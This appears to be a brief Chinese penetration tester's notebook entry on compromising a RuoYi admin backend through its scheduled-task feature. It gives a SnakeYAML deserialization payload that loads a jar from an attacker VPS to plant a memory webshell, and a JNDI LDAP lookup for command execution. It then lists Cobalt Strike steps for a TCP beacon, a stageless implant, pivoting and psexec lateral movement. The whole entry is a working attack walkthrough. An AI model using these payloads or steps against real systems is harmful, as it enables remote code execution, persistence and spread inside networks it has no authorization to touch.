随手记
若依系统,进入后台后尝试使用常规方法加载jar包来注入内存马
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["<http://vps/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar>"]]]]')
执行定时任务后,系统成功访问到了放在vps上的jar包,尝试访问内存马,直接跳转回登录界面,内存马注入失败(之后f0ng师傅研究了一下,若依4.2版本的系统使用目前公开的内存马工具是无法成功注入的)。
内存马注入失败后就无法执行命令了?此时我想到了使用ldap协议,若依的后台定时任务是可以使用ldap协议来执行命令的
javax.naming.InitialContext.lookup('ldap://vps')
启动jndi,成功接收到请求
DNS回显
CobaltStrike创建一个beacon_tcp监听器(Forword)
CS生成一个stageless木马,监听器选再Forword
运行生成的木马,并在10.10.10.128 beacon中执行connect x.x.x.x 18888即可建立子beacon上线CS。
jump psexec 10.10.10.136 SMB